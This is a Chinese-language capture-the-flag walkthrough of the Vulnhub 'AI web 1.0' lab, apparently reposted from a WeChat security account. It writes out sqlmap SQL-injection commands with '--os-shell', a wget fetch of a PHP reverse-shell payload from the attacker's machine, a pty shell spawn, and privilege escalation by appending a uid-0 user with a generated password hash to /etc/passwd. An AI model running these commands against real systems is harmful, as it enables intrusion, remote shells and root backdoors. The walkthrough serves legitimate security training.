Pdsdt 2019.10.1
在这个举国欢庆的日子里,我充满自豪感的看完了阅兵,正准备打开公司CEO(glzjin)的buuoj平台继续刷刷web和一些入门re,忽然想起CEO说国庆平台要关闭,无奈之下,就想找几个Vulnhub的靶场练练手,刚好在T00ls看到有篇投稿文章写的AI web1.0,于是乎就下载下来练练,还算是一个比较基础的靶场,新入门的WEB手可以做一下熟悉一下工具操作。
https://www.vulnhub.com/entry/ai-web-1,353/
考点
sql注入
sqlmap写shell
敏感文件/etc/passwd
反弹shell,提权**
信息收集
因为靶场版本的关系,没有搭建到内网ESXI上,直接在本机启动,用本机的kali扫描,发现IP
靶机ip为:192.168.235.135
使用nmap进行一波信息收集
nmap -sS -v -T4 -Pn -A -p 0-65535 172.192.168.235.135
可以看到靶机只开放了80端口,显示是让我们从web端入手了
访问web页面
除了一句话没有别的内容了,尝试访问一下WEB页面存在的一些敏感目录,发现存在robots.txt
逐一访问这些目录
经测试发现/m3diNf0/目录下存在info.php页面
/se3reTdir777/目录下存在uploads目录和index.php页面,猜想可能存在需要我们上次的地方
信息收集完毕,下一步重点对/se3reTdir777/目录下的页面进行测试
SQL注入
观察页面发现一股浓浓的sql注入味道散发出来,二话不说,先手测一波看看是否存在sql注入
测试存在注入,而且还没有过滤什么的,此时就祭出神器SQLMAP了
先测试一波
当了一波数据,发现没有可利用的信息,于是就想着看看数据库用户,能不能直接写shell
sqlmap -u "http://192.168.235.135/se3reTdir777/index.php" --data "uid=1'or 1=1&Operation=submit" --current-user
尝试写shell
sqlmap -u "http://192.168.235.135/se3reTdir777/index.php" --data "uid=1'or 1=1&Operation=submit" --os-shell
sqlmap显示让我们提供目录,这个时候就需要用到info.php的信息了
查看一波网站根目录数据
尝试写入/home/www/html/web1x443290o2sdf92213目录
提示我们没有写入的权限
这个时候想到在/se3reTdir777/目录下还存在uploads目录,而且一般的uploads目录都是777的权限,随即把shell尝试写在uploads目录下
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/ #目录位置
查看当前用户
尝试提权,既然有php的环境,先用上Kali自带的php反弹shell脚本
将脚本放到kali的网站根目录下,在sqlmap上使用wget命令下载
wget http://192.168.235.134/getshell1.jpg
使用kali监听端口,在sqlmap上执行命令
成功反弹shell,利用python获取持续性shell
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")' # 因为靶机环境没有python2的环境,这里使用python3进行反弹
下一步进行提权,首先查看/etc/passwd文件
惊奇的发现www-data用户,对文件可写,我们完全可以在/etc/passwd文件下添加一个root级别的用户,这样就可以直接获取到靶机的root权限,到这里我们需要了解/etc/passwd的存储用户方式,加密的密码我们可以通过kali自带的openssl生成
rkali:~# openssl passwd -1 -salt ginkgo pass123
$1$ginkgo$2D4qzi54AAAoy8rg6qpGX/
# 这里ginkgo是我的用户名,pass123是用户的密码
所以写入/etc/passwd的形式为
ginkgo:$1$ginkgo$2D4qzi54AAAoy8rg6qpGX/:0:0::/root:/bin/bash
# uid为0,gid为0,根目录为root
写入/etc/passwd文件中
www-data@aiweb1:/$echo 'ginkgo:$1$ginkgo$2D4qzi54AAAoy8rg6qpGX/:0:0::/root:/bin/bash' >>/etc/passwd
<4AAAoy8rg6qpGX/:0:0::/root:/bin/bash' >>/etc/passwd
查看文件是否写入成功
可以看到,成功写入,下一步切换到我们添加的用户
成功获取到root权限,cat flag.txt
原文始发于微信公众号(Ginkgo信息安全实验室):Vulnhub之AI web1.0
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论